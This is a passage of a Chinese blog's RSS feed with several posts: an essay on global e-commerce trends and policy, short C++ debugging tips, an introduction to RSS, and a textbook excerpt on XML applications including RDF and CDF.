<P>　　一、传统企业将成为电子商务的主体&nbsp;<BR>　　纵观电子商务的发展过程：从20世纪90年代初、中期开始发展，至90年代末形成第一个高潮，但好景不长，由于炒作过度，到1999年下半年和2000年，电子商务热急剧降温，许多IT企业的股票价格急剧下跌，许多从事电子商务的企业严重亏损，有的甚至被淘汰出局。此后，又逐步回升。&nbsp;<BR>　　人们在2000年网络泡沫破灭后深刻体会到：企业，尤其是传统企业才是电子商务的主体。因而，电子商务发展到今天，必须要有大量传统企业的加盟，才能推动电子商务走向下一个高潮。&nbsp;<BR>　　二、B2B成为全球电子商务发展的主流&nbsp;<BR>　　在电子商务的几种交易方式中，B2C和B2B两种所占分量最重，而B2B又是重中之重。从国际电子商务发展的实践和潮流看，B2B业务在全球电子商务销售额中所占比例高达80%～90%。从交易额上看，B2B交易可说是电子商务交易额的大宗，迄今已超过6万亿美元，而B2C的交易额只有4千多亿美元。2000年我国有近99.5%的电子商务交易额为B2B，B2C只占0.5%。专家根据已有的资料预测，至2003年，B2B的交易额将占主导地位，而B2C的经营额仅占1/15左右。虽然很多机构对B2B所占比例还有不同看法，但都认为会超过50%。&nbsp;<BR>　　三、进入电子商务市场的企业日趋多元化&nbsp;<BR>　　从国际电子商务的发展来看，进入B2B市场的企业越来越多，主要有四种类型：&nbsp;<BR>　　一是传统的IT巨头。像微软公司，始终在准备积极参与电子商务领域，其他较早进入B2B领域的IBM、Sun、Intel等也纷纷加大投资。&nbsp;<BR>　　二是新兴互联网巨头。如Yahoo、AOL、EBay、Beyond.com和Priceline.com等。与传统IT企业不同，这些新兴互联网巨头凝聚了网上大部分人气，并且有足够的互联网经营经验。&nbsp;<BR>　　三是传统行业的跨国公司。通用汽车、杜邦公司等传统领域的巨头纷纷斥巨资进入这一领域，希望通过B2B平台优化，改造其原有的价值链，以创造Internet时代新的竞争优势。&nbsp;<BR>　　四是现有的B2B电子商务公司。面对各种各样的公司纷纷涌向B2B市场，Ariba和Commerce&nbsp;One等这一领域的先行者不甘示弱，纷纷表示将凭借他们已经建立起来的技术优势和经验与后来的竞争者抗衡。&nbsp;<BR>　　四、电子商务发展的地区和行业差异日益扩大&nbsp;<BR>　　世界电子商务的发展很不平衡，电子商务鸿沟有逐渐扩大的趋势。美国电子商务的应用领域和规模远远领先于其他国家，在全球所有电子交易额中，目前大约占50%以上。世界范围内已经形成了以美国为首，欧洲和亚洲发达国家随后的国际电子商务发展格局。<BR>　　电子商务给不同行业所带来的机会大不相同，不仅向各个产业渗透的顺序不一样，而且各产业所获得的收益也不尽相同。研究表明，计算机和通信设备生产厂商特别适合采用电子商务，同时，在未来5年内，计算机和通信设备、食品和饮料、汽车以及配件、制造业设备和原材料、建筑物和房地产等五大行业将是未来运用电子商务的重点行业。&nbsp;</P>
<P>影响电子商务发展的深层次问题</P>
<P>　　一、基础设施与通信网络环境&nbsp;<BR>　　随着电子技术、信息技术的不断发展，世界主要国家的电信基础设施不断完善，尤其是20世纪80年代以来电信市场的全球化进程加快，目前主要发达国家的固定电话普及率已达到70%左右，而移动电话的普及率也达到了30%。完善的电信基础设施为电子商务及整个新经济的发展创造了条件。&nbsp;<BR>　　但是，目前许多国家的基础设施尚不完善。况且国有基础电信设施只有通过大大降低收费、自由租用线路、自由联网，采用先进的通讯设备和通用技术标准，才可能有利于电子商务的发展，但许多国家很难做到，尤其是发展中国家。&nbsp;<BR>　　二、全球电子商务支付体系&nbsp;<BR>　　电子支付体系是电子商务发展的必要条件，而银行电子支付体系的发展是与银行的信息化密不可分的。国外银行的信息化经历了四个发展阶段：&nbsp;<BR>　　第一阶段（20世纪50-70年代）：手工操作转向计算机处理。&nbsp;<BR>　　第二阶段（20世纪70-80年代）：终端与主机。&nbsp;<BR>　　第三阶段（20世纪80-90年代）：服务自动化。&nbsp;<BR>　　第四阶段（20世纪90年代开始）：网络影响下的变革，即网络银行的诞生。&nbsp;<BR>　　1995年10月，诞生了第一家网上银行――安全第一网络银行(SFNB)，很快花旗、汇丰等老牌银行纷纷推出了自己的网上服务。&nbsp;<BR>　　目前，虽然新技术使电子支付成为可能，但银行的电子化需要经历长期的发展过程；何况还存在着网上支付的安全性和身份认证等问题，这使人们在使用电子支付手段方面，仍顾虑重重。&nbsp;<BR>　　三、全球电子商务的安全认证体系和安全保障体系&nbsp;<BR>　　电子商务在改变了传统的商务运作模式的同时，其形成和发展也面临着安全问题。主要表现在机密资料、个人隐私、交易的敏感信息、支付的信息等可能遭到窃取、盗用或篡改。只有在全球范围建立一套人们能充分信任的安全保障制度，确保信息的真实性、可靠性和保密性，人们才能够放心地参与电子商务。&nbsp;<BR>　　目前，许多国家都在为建立一套完整的安全保障制度而努力。从信息和网络安全的全局出发，经过研究和实践，国际上基于公开密钥体制（PKI）的CA安全认证保障体系，已被普遍认可。鉴于CA建设的重要性，多数国家都在建立自己的CA安全认证保障体系，目前还没有国际统一的认证机构。&nbsp;<BR>　　四、技术标准与标准化模式的发展&nbsp;<BR>　　电子商务的本质是互联、互通、互操作，而这是奠定在电子商务平台具有统一标准的基础上的。&nbsp;<BR>　　为了解决互联、互通、互操作问题，许多公司提出了B2B电子商务架构，这些架构旨在提供通过因特网实现企业之间高效互操作的功能，国际性标准化组织（如ISO、IEC、ITU）、国际互联网协会（ISOC）、企业联盟性标准化组织等许多国际组织，也都对电子商务标准化模式进行了研究、分析。&nbsp;<BR>　　五、物流配送体系&nbsp;<BR>世界各国电子商务物流模式主要有三种：（1）网上物流，即将电子商务商品通过因特网由供应者手中转移到消费者手中；（2）第三方物流，即由供应者和消费者以外的第三方来完成物流服务；（3）自营物流，即由供应者或者消费者本身完成物流活动。良好的物流环境为世界发达国家电子商务的发展奠定了坚实的基础。许多发展中国家支撑电子商务发展的物流体系尚未建立起来，物流信息化程度低，制约了电子商务的进一步发展。&nbsp;<BR>　　六、信息化观念&nbsp;<BR>　　由于电子商务的运行模式与人们固有的消费、购物习惯差异很大，电子商务要蓬勃发展并成功地融入一个国家乃至全球，人们的观念是个不能忽视的问题。&nbsp;<BR>　　七、技术人才&nbsp;<BR>　由于Internet和电子商务是近几年才得到真正发展的，因而现在许多公司和商家都缺乏足够的技术人才来处理电子商务所遇到的各种问题，尤其是在全球Internet上的电子商务具有24×7（每天24小时，每周7天都能工作）的要求，迫切需要有一大批专业技术人员进行管理。技术人才的短缺问题已经成为阻碍电子商务发展的一个重要因素。&nbsp;<BR>其他国家发展措施对我国的启示<BR>电子商务融合了计算机产业、通信产业和信息服务产业等一大批高新技术产业，因而，技术密集度高、研发投入大、风险较高。而且，电子商务有效的需求市场尚未成熟。因此，在电子商务发展的初期，需要政府的介入与扶持，促进电子商务的发展。</P>
<P>　　政府的作用主要表现在：</P>
<P>　　一、积极制定开发电子商务的发展规划、行动计划和实施方案，同时还要制定法律、法规，为全社会开展电子商务创造良好的法律环境。&nbsp;<BR>　　二、率先垂范，即积极推动政府上网，开展G2B和设立咨询网站，特别是要以G2B带动B2B作为发展电子商务的切入点，实现政府信息化，政府公开上网采购，必将推动企业信息化和B2B电子商务的发展。&nbsp;<BR>　　三、制定电子商务技术标准与标准化模式，使网上交易规范化、标准化，同时加强基础设施建设，构筑社会电子商务平台。&nbsp;<BR>　　四、制定优惠政策，积极引导和推进企业信息化，鼓励企业开展电子商务。<BR>　　五、加强电子商务技术研究和开发，积极发展信息产业。尤其发展信息基础设施需要政府和业界的共同努力，需要政府的大力投资和宏观调控。同时，为了维护国家的利益和经济安全，在电子商务相关技术方面一定要注重自主知识产权技术的开发，不能全部依赖进口。因此，必须大力支持电子商务技术的研究开发工作。&nbsp;<BR>六、加强教育与培训，积极培养IT人才，吸引国际一流人才。<BR>七、鼓励全民上网，普及计算机应用，形成社会发展基础。提高网络技术水平，加强电子商务的安全性，切实保护用户的利益和隐私，增强企业和消费者的信心。&nbsp;<BR>　　八、加强电子商务领域的国际合作，谋求建立全球电子商务体系。因特网全球性开放的特点，使得建立网上国际贸易自由区的理想成为可能。为此，建立一套国际统一的贸易规范与框架很有必要。</P>
<P></P>
<BLOCKQUOTE></BLOCKQUOTE><BR>]]></description>
</item><item>
<title><![CDATA[C++编程中的四个调试小技巧]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=11016</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/1/4 21:30:24</pubDate>
<description><![CDATA[
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD>&nbsp;1.调试标记 <BR><BR>　　适用预处理#define定义一个或多个调试标记，在代码中把调试部分使用#ifdef 和#endif 进行管理。当程序最终调试完成后，只需要使用#undef标记，调试代码就会消失。常用的调试标记为DEBUG, 语句序列：<BR>
<TABLE borderColor=#ffcc66 width="90%" align=center bgColor=#e6e4dd border=1>
<TBODY>
<TR>
<TD>#define DEBUG<BR><BR>#ifdef DEBUG<BR><BR>调试代码<BR><BR>#endif</TD></TR></TBODY></TABLE><BR>　　2.运行期间调试标记<BR><BR>　　在程序运行期间打开和关闭调试标记。通过设置一个调试bool标记可以实现。这对命令行运行的程序更为方便。<BR><BR>　　例如下面代码<BR><BR>
<TABLE borderColor=#ffcc66 width="90%" align=center bgColor=#e6e4dd border=1>
<TBODY>
<TR>
<TD>#include&lt;iostream&gt;<BR>#include &lt;string&gt;<BR>using namespace std;<BR>bool debug =false;<BR>int main(int argc,char*argv[])<BR>{<BR>　for(int i=0;i&lt;argc;i++)<BR>　　if(string(argv[i])==“--debug=on“)<BR>　　debug = true;<BR>　　bool go=true;<BR>　　while(go)<BR>　　{<BR>　　　if(debug)<BR>　　　{<BR>　　　　调试代码<BR>　　　}else {}<BR>　　}<BR>}</TD></TR></TBODY></TABLE><BR>　　3.把变量和表达式转换成字符串<BR><BR>　　可是使用字符串运算符来实现转换输出定义<BR><BR>
<TABLE borderColor=#ffcc66 width="90%" align=center bgColor=#e6e4dd border=1>
<TBODY>
<TR>
<TD>#define PR(x） cout&lt;&lt;#x”=”&lt;&lt;x&lt;&lt;'\n'</TD></TR></TBODY></TABLE><BR>　　4.c语言的assert()<BR><BR>　　该宏在&lt;assert&gt;中，，当使用assert时候，给他个参数，即一个判读为真的表达式。预处理器产生测试该断言的代码，如果断言不为真，则发出一个错误信息告诉断言是什么以及它失败一会，程序会终止。<BR><BR>
<TABLE borderColor=#ffcc66 width="90%" align=center bgColor=#e6e4dd border=1>
<TBODY>
<TR>
<TD>#include&lt; assert&gt;<BR>using namsapce std;<BR>int main()<BR>{<BR>　int i=100;<BR>　assert(i!=100); //Fails<BR>}<BR>当调试完毕后在#include&lt;assert&gt;前加入#define NDEBUG即可消除红产生的代码<BR>}</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR>]]></description>
</item><item>
<title><![CDATA[RSS入门 : RSS初步接触]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=10861</link>
<author>xiaoqiao_xml</author>
<pubDate>2005/12/28 14:03:21</pubDate>
<description><![CDATA[RSS入门 : RSS初步接触 &nbsp; <BR>　　什么是RSS，RSS如何工作，RSS新闻阅读器三大优势，流行的RSS软件，RSS相关词汇。读完此篇文章，可以对RSS有一个基本的了解。 <BR><BR>RSS新闻器:互联网上即将到来的革命 <BR><BR><BR><BR>　　仔细观察一些网站，你可能注意到一些被标记为“XML”或“RSS”橙色图标。 <BR><BR>什么是RSS <BR><BR>　　RSS是英文Rich Site Summary(丰富站点摘要)或者ReallySimpleSyndication(真正简单的整合)的首字母缩写，是一种用于共享新闻标题和其他Web内容的XML格式。 <BR><BR>　　RSS起源于20世纪90年代后期，最初是Netscape对Microsoft公司的InternetExplorer做出的回应。IE4刚刚推出来的时候有一个有趣的功能，那就是“新闻频道”，为此Netscape定义了一套描述新闻频道的语言，这就是RSS，只不过Netscape自当时起就每况愈下，所以最终也没有发布一个正式的RSS规范(只发布了一个0.9版本)。 <BR><BR>　　后来，RSS技术被著名的博客DaveWinner的UserLand软件公司所接手，继续开发新的版本，以适应新的网络应用博客的需要。 <BR><BR>RSS如何工作 <BR><BR>　　您一般需要下载和安装一个RSS新闻阅读器或汇集器，然后从罗列成千上万网站的目录列表中订阅您喜爱的网站的内容。 <BR><BR>　　一旦登录后，您将看到所订阅的每个频道的最新内容——新闻标题、摘要，而且有时看到完整的报告和一两幅照片。你甚至可以点击链接直接进入那个网站，找到新闻的最初来源地。许多RSS软件运行在Web浏览器内部，而另一些则是独立的程序。而且多数程序是免费的。 <BR><BR>　　以苹果MAC机上使用的NetNewsWire软件为例，我们使用一个窗口，一眼就可跟踪60个不同的网站，并且在一些情况下是某些网站中的不同版面上的内容。 <BR><BR>　　比如我们使用该软件阅读来自Yahoo!网站的新闻报道。由于Yahoo!公布了其RSS提要的地址，我们将这些地址复制到NetNewsWire应用程序中的命令窗口中。数秒钟内，我们在一个窗口中就得到了一张最新新闻标题的列表，另一个窗口则提供了新闻报道的导语段落。Yahoo!发布了国内、国际和政治新闻版面的不同提要。其他一些提供RSS馈送的新闻机构包括“TheNewYork Times”、Time Warner的CNN.com以及Forbes.com。 <BR><BR>　　对于使用微软Windows操作系统的用户来说，一种叫做Newsgator的流行应用软件可以在Outlook窗口中汇集你所喜爱的RSS提要。想像一下，由于不必输入网址或搜索收藏菜单中的书签而节省下来的时间吧。RSS提要还能使你掌握希望阅读的网站内容最近是否进行了更新。 <BR><BR>　　不过，这项技术的潜力不仅只是使Web冲浪狂们的生活更方便。实际上，RSS提要是可以进行搜索的，并且许多博客(blogger)喜欢发表自己的RSS提要，因为这样做可以增加读者数量。而这正是Feedster.com所做的事情。该公司最近在亚利桑那州举行的Demo2004大会上展示了它搜索RSS提要的能力。 <BR><BR>　　在演示活动那天，有关AlexRodriguez被买给纽约扬基队的新闻几分钟前刚刚传到新闻通讯社。但将他的名字插入到Feedster.com搜索引擎中，不到半小时就收到了多个博客对此新闻发表的评论。Feedster搜索了50来万RSS提要的内容，而且内容每天都在增加。它不仅搜索个人网志(blog)的提要而且还在来自多家主要新闻网站的提要中进行搜索。您听说过但却永远不可能通过Google搜索找到的网志可更加容易地被找到了。 <BR><BR>　　目前成千上万个网站利用RSS来增加访问自己网站的数据流。这项技术进化成为BBC、NewYorkTimes、Cnet、Salon、ESPN、InfoWorld、The ChristianScienceMonitor和其他许多网站间共享内容的流行手段。 <BR>技术标准之争 <BR><BR>　　今年2月初，Google宣布，其Blogger服务放弃RSS格式而选择了另一种技术Atom，此举进一步加剧了这一技术的标准之争。 <BR><BR>　　搜索巨头Google去年收购了Blogger.com，今年开始允许用户向其他网站共享其在线日记，并选择新的Atom格式而非过去的RSS。Atom格式是RSS的一种替代格式，由IBM的工程师SamRuby提出。 <BR><BR>　　RSS与Atom之间的斗争自去年夏季以来将博客世界分裂为两大阵营。实际上，RSS和Atom原理是一致的，目的都在于为Weblog、新闻或是其他Web内容创建XML文本，以便其他站点引用。RSS的支持者包括、News.com的出版商CNETNetworks等。而Google和SixApart(Moveable Type拥有者)则支持Atom。 <BR><BR>　　现在一些网站同时提供RSS和Atom源，如Yahoo的MyYahoo就是如此。该公司发言人称，“我们将致力于开发自己的RSS阅读器，以使用户能够在其中加入自己认为重要的内容。我们同时支持RSS和Atom，这对于用户而言是最具自由度的。” <BR><BR>　　Atom的支持者称，“RSS一直为单个企业或团体所控制。Atom则是一种开放标准，不为任何人所控制。”实际上，根据“创造共用”协议，RSS目前也可让所有人使用，该协议使其不会受到商业版权的影响。“这意味着任何人都可以开发自己版本的RSS。” <BR><BR>　　RSS格式协议的主导者、哈佛大学研究员DaveWiner不久前在其Blog(ting.com)上发表言论，称愿意将RSS与其竞争者Atom合并为统一格式。这两种技术合并的难度取决于各自的支持者。Winer和RSS支持者的态度，有助于促使Atom向后兼容RSS。 <BR><BR>　　据悉，合并进程极有可能在IETF(Internet EngineeringTaskForce)领导之下展开。Atom派有望在该组织于今年8月的圣地亚哥会议上争取到一个工作小组的席位。 <BR><BR>　　分析人士认为，市场分裂将对目前的RSS 2.0标准产生巨大的影响，不过可能不足以扼杀RSS2.0。而且有业内人士估计，Microsoft或另一位重量级参与者将加入到这场竞赛中，提出某个RSS变种。任何MS-RSS都可能成为未来产品的基础。Microsoft的RSS变种可能在某种程度上会与即将推出的代号为Longhorn的Windows操作系统兼容。 <BR><BR>前景不可限量 <BR><BR>　　其实，技术人员使用RSS程序已有相当长一段时间了。这类程序现在在PC、Mac以及交叉平台上可供普通大众使用。 <BR><BR>　　现在RSS已经开始为新闻机构、政府和非营利机构——一切的新闻来源所重视和采用。 <BR><BR>　　RSS目前在出版商和用户中尤其越来越流行。对于出版商来说，RSS是一种提供结构化信息的方法。对于用户来说，RSS是一种在他们需要的地方、时间并以他们希望的方式获得信息的工具。 <BR><BR>　　使用RSS的网站管理员看到访问自己网站的数据流的增加。利用RSS，他们现在可以以一种更及时的方式收集和分发新闻。 <BR><BR>　　尽管RSS变得越来越受欢迎，但它不会淘汰Web浏览技术。它的确为新闻机构提供了另一种获得了精通技术的读者途径，为新闻记者建立一条更广泛的新闻网。 <BR><BR>　　RSS的用途决不局限在新闻阅读上。我们可能甚至看到营销和公关经理利用RSS这种新的方式来联系顾客。 <BR><BR>　　RSS还可运用在商品交易中，比如eBay，Amazon，或者是SecondhandMarket，用户可根据自己感兴趣的商品进行定制，并且随时掌握最新标价等更新信息。一旦完成交易这个信息也就随之失效，这是商业上的运用，也是对Web的一种辅助。 <BR><BR>　　2004年3月，在线超市亚马逊(Amazon.com)推出数百个个性化的RSS提要，以供电子商务顾客使用。此举会大大推动RSS格式的发展。Amazon.com继Yahoo!之后开始拥抱RSS，被认为是对消费者使用新闻整合器的巨大推动。 <BR>　　Amazon.com的RSS提要已经编写出软件，以按照种类和搜索结果提供其网站的内容。该公司称，这些提要将能使用户对具体种类或特定搜索中的10款最畅销商品进行标题式阅读。商品种类包括图书、音乐、DVS、电子产品、玩具和杂志。 <BR><BR>　　亚马逊公司采用的RSS是由AmazonWebServices提供支持的，这项2002年发布的服务旨在使第三方开发者能通过XML或SOAP访问其数据库。 <BR><BR>RSS新闻阅读器三大优势 <BR><BR>　　1、没有广告或者图片来影响标题或者文章概要的阅读。 <BR><BR>　　2、RSS阅读器自动更新你定制的网站内容，保持新闻的及时性。 <BR><BR>　　3、用户可以加入多个定制的RSS提要，从多个来源搜集新闻整合到单个数据流中。 <BR><BR>流行的RSS软件 <BR><BR>　　ADC Software公司的NewzCrawler (适用于Win 95以上操作系统，售价25美元，www.newzcrawler.com)。 <BR><BR>　　Bradbury Software公司FeedDemon (适用于Win 98以上操作系统，售价30美元www.feeddemon.com)。 <BR><BR>　　RSSReader (适用于Win 98以上操作系统，免费使用，www.rssreader.com)。 <BR><BR>　　SharpReader (适用于Win 98以上操作系统，免费使用，www.sharpreader.net)。 <BR><BR>　　Wildgrape公司的NewsDesk (适用于Win 98以上操作系统，免费使用，www.wildgrape.net)。 <BR><BR>　　Ranchero Software公司的NetNewsWire Lite (适用于Mac OS X10.1以上操作系统，免费使用，www.ranchero.com)。 <BR><BR>RSS相关词汇 <BR><BR>　　RSS = Really Simple Syndication = Rich Site Summary = RDFSiteSummary <BR><BR>　　RSS file = RSS feed = RSS channel = feed = channel(RSS提要) <BR><BR>　　Atom = a format similar to RSS; like RSS the files may alsobecalled feeds or channels (Atom，一种与RSS类似的格式，也可以被称为提要) <BR><BR>　　XML = eXtensible Markup Language <BR><BR>　　RDF = Resource Discovery Framework =RSS 1.0版本格式 <BR><BR>　　OMPL = Outline Processor Markup Language <BR><BR>　　blog = weblog = log on the web = a journal-type website, manyofwhich produce RSS feeds (博客，一种日记性的网站，其中很多会提供RSS提要) <BR><BR>　　RSS reader = news reader = RSS aggregator = a program thatcanread RSS files(RSS新闻阅读器，一种可以阅读RSS文件的软件) <BR><BR>]]></description>
</item><item>
<title><![CDATA[XML应用和发展]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=10860</link>
<author>xiaoqiao_xml</author>
<pubDate>2005/12/28 13:15:02</pubDate>
<description><![CDATA[<DIV class=pt10><B>10.1 XML应用概述</B></DIV>&nbsp;&nbsp;&nbsp; 
<DIV></DIV><BR>
<DIV class=pt9>
<P>截至目前为止，我们已经介绍了与XML相关的各种标准和技术。限于篇幅，对其中许多内容未能展开介绍，只是起到一个领路的作用，还需要各位读者在进行实际开发中，再参考更详细更权威的资料。在最后一章里，我们将简要介绍一下目前XML在各个领域的应用以及它的发展前景。一方面，XML的广泛应用和广阔前景恰恰是我们学习XML的最好理由；另一方面，我们曾经在各个章节中曾经反反复复地强调了XML的优点，而XML在实际应用中所发挥的巨大作用也正是对前面内容最好的证明和总结。</P>
<P>虽然人们对XML的某些技术标准尚有争议（也许这就是许多标准迟迟不能推出的原因），但是人们已经普遍认识到XML的作用和巨大潜力。作为SGML的简化子集，XML在SGML的应用领域依然有它的用武之地，如：文档、信息管理、出版系统等。另外，XML自身的特点决定了它在SGML的应用领域外拓展出了更为广阔的天地。</P>
<P>考察现在的XML应用，可以将它们分为以下几类。需要大家注意的是，这个分类并没有涵盖所有的XML应用，只是希望利用这个分类为读者提供一个XML应用的概况，而且随着时间的推移，XML的应用范围和方式必将会极大地拓展。 
<OL>
<LI><STRONG>设计置标语言</STRONG> </LI></OL>
<P>作为元置标语言，XML为用户提供了定义本行业本领域的置标语言的最好工具。目前这一应用的成功例子比比皆是，例如化学领域的CML，数学领域的MathML，移动通信领域的WML等。 
<OL>
<LI type=disc value=2><STRONG>文件保值</STRONG> </LI></OL>
<P>XML良好的保值性和自描述性使它成为保存历史档案，如政府文件、公文、科学研究报告等的最佳选择。 
<OL start=3>
<LI><STRONG>数据交换</STRONG> </LI></OL>
<P>数据交换无疑是XML最令人激动的应用。数据交换的核心问题是信息的标准化，主要解决信息的可理解性问题，包括人和机器对信息的理解。而且，更重要的是机器对信息的识别，并能根据数据进行自动处理。XML的出现，为信息的标准化提供了有力的工具。</P>
<P>由于不同的应用领域对数据的要求千差万别，因此要想制订一个放之四海而皆准的数据交换标准是不现实的，同时也是不必要的。最典型的作法是在同一应用领域制订一个标准，参与者按照这个标准组织数据，就可以进行数据交换。比如，IBM、UNISYS和其他合作伙伴定义的XMI（XML Metadata Interchange）是一个存储和共享面向对象的程序设计信息的标准。Microsoft和Marimba合作提出的开放软件描述（Open Software Description，简写为OSD）是用于描述软件的一个XML标准。</P>
<P>由于数据交换在电子商务尤其是企业－企业电子商务的核心作用，XML为电子商务带来了新的机遇和活力。 
<UL>
<LI>替代传统的EDI<BR>电子数据交换（Electronic Data Interchange，简称为EDI）是XML出现以前的数据交换标准，用于在异构系统间交换数据并进行事务处理，但由于EDI难于使用和实施费用昂贵等缺点使得它没有成为数据交换的主流技术。XML的出现，使得数据交换更为廉价和方便。 
<LI>智能代理<BR>智能代理能够理解接收到的数据，然后作出相应的反应。如果数据是结构化的XML数据，智能代理就能够非常容易利用已有的知识库理解数据。XML的出现，为智能代理的发展提供了新的推动力。 </LI></UL>
<OL start=4>
<LI><STRONG>Web应用</STRONG> </LI></OL>
<P>由于XML是由SGML特别为Web简化的，因此XML文档将成为Web资源的重要组成部分，XML使得搜索引擎更为智能和准确。XML还可以用于建立多层Web应用。 
<UL>
<LI>集成不同数据源<BR>XML文档可以用来描述包含在不同应用的数据，从Web页面到数据库记录等，Web应用的中间层服务程序将这些用XML表示的数据组合起来，然后提交给客户端或者下一步的应用。XML还提供了客户端包含机制，可以将多个来源的数据集成在一个文档内显示。 
<LI>本地计算<BR>XML数据传输到客户端后，客户端可以利用XML分析器对数据进行解析和操作，在完成系统所需功能的同时，合理分配客户端和服务器的负荷。比如：数据库记录可以直接传输到客户端，然后再进行排序，传统的HTML就无法做到这一点。 
<LI>数据的多种显示<BR>XML将内容与表现分离，XML只描述数据的结构和语义，显示外观则通过样式单文件（CSS或XSL）进行描述。因此，只需在显示时配置不同的样式单，即可实现多种显示效果。 
<LI>网络出版<BR>随着互联网的发展，网络已经成为一种新的媒体，人们在网络上发布各种信息，信息的发布形式和发布语言也多种多样，其中基于XML的显示技术和显示语言发挥了重要作用。比如eBook、eNewspaper等，就利用了XML的显示语言。 
<LI>支持Web应用的互操作和集成<BR>Web界面定义语言（Web Interface Definition Language，简称为WIDL）是webMethods定义的一个XML应用，它是一个能够用于Web的资源和企业应用接口的语言标准。通过它，Web应用可以自动存取Web资源和企业应用。<BR></LI></UL></DIV>
<P></P>
<DIV class=pt10><B>10.2.1 资源描述框架RDF</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>其实，XML的应用在现阶段虽然不能称之为随处可见，但是只要留心一下，就可以发现身边其实早就存在着XML应用。</P>
<P>在Netscape Navigator 4.06以后的版本中，有一项功能称为“What s Related”，用来指示与当前浏览的网页相关的站点或网页，在其中起作用的关键技术，除了数据库和搜索引擎外，就是资源描述框架RDF（Resource Description Framework）。RDF是用于处理元数据的XML应用。当用户按下“What s Related”的菜单或按钮时，浏览器将当前浏览的网页的网址传递到Netscape公司的服务器上，服务器在数据库中找到该网页，并且将与这个网页关系最密切的其他网页和相关资料，以RDF格式传送回浏览器。然后以菜单方式呈现给使用者，供使用者选择。那么，究竟什么是RDF呢？它又是如何在这一应用中发挥作用的呢？<BR><BR>RDF是一个处理元数据的XML应用，所谓元数据，就是“描述数据的数据”或者“描述信息的信息”。也许这样解释元数据有些令人难以理解，举个简单的例子，书的内容是书的数据，而作者的名字、出版社的地址或版权信息就是书的元数据。数据和元数据的划分不是绝对的，有些数据既可以作为数据处理，也可以作为元数据处理，例如可以将作者的名字作为数据而不是元数据处理。</P>
<P>众所周知，对资源的描述是领域和应用相关的，比如对一本书的描述和对一个Web站点的描述是不一样的，即对不同资源的描述需要采取不同的词汇表。因此RDF规范并没有定义描述资源所用的词汇表，而是定义了一些规则，这些规则是各领域和应用定义用于描述资源的词汇表时必须遵循的。当然，RDF也提供了描述资源时具有基础性的词汇表。</P>
<P>通过RDF，人们可以使用自己的词汇表描述任何资源，但人们更乐意将它用于描述Web站点和页面，由于使用的是结构化的XML数据，搜索引擎可以理解元数据的精确含义，使得搜索变得更为智能和准确，完全可以避免当前搜索引擎经常返回无关数据的情况。当然前提是RDF和标准化的RDF词汇表在Web上广泛使用，而且搜索引擎需要能够理解使用的词汇表。</P>
<P>简单而言，一个RDF文件包含多个资源描述，而一个资源描述是由多个语句构成，一个语句是由资源、属性类型、属性值构成的三元体，表示资源具有的一个属性。资源描述中的语句可以对应于自然语言的语句，资源对应于自然语言中的主语，属性类型对应于谓语，属性值对应于宾语。由于自然语言的语句可以是被动句，因此前面的简单对应仅仅是一个概念上的类比。</P>
<P>下面的例子描述了三个知名的XML站点，其中使用的词汇表是Dublin Core定义的元素集合，由命名空间http://purl.org/DC/指定，标记CREATOR表示资源的人员或组织，标记TITLE表示资源的名称。Dublin Core元素集合还包括其他已经确定的元素，另有一些元素还处于实验阶段，感兴趣的读者可以查阅相关资料。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmlns:dc="http://purl.org/DC/ "&gt;<BR>&nbsp; &lt;rdf:Description about="http://www.w3.org/XML/"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;dc:CREATOR&gt;World Wid Web Consortium&lt;/dc:CREATOR&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;dc:TITLE&gt;W3C XML Resource&lt;/dc:TITLE&gt;<BR>&nbsp; &lt;/rdf:Description&gt;<BR>&nbsp; &lt;rdf:Description about="http://www.XML.org"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;dc:CREATOR&gt;OASIS GROUP&lt;/dc:CREATOR&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;dc:TITLE&gt;XML.org&lt;/dc:TITLE&gt;<BR>&nbsp; &lt;/rdf:Description&gt;<BR>&nbsp; &lt;rdf:Description about="http://www.XML.com "&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;dc:CREATOR&gt;XML.commune&lt;/dc:CREATOR&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;dc:TITLE&gt;XML.com&lt;/dc:TITLE&gt;<BR>&nbsp; &lt;/rdf:Description&gt;<BR>&lt;/rdf:RDF&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>关于RDF的深入讨论，已经超出了本节的范畴，有兴趣的读者可以参考<A href="http://www.w3.org/TR/rdf-schema">http://www.w3.org/TR/rdf-schema</A>和<A href="http://www.w3.org/TR/REC-rdf-syntax">http://www.w3.org/TR/REC-rdf-syntax</A>，这两个文件是W3C定义的RDF规范。</P></DIV>
<P></P>
<DIV class=pt10><B>10.2.2 频道定义格式CDF</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>前一小节介绍的是Netscape推出的技术，事实上，在XML的应用上，IE也不甘落后。在Internet Explorer 4.0及其以后的版本中，Microsoft推出了“频道”（Channel）的概念，用户可以通过订阅频道实现站点更新内容的自动获取。在频道定义中所使用的格式CDF（Channel Definition Fomat），也是一个XML应用。</P>
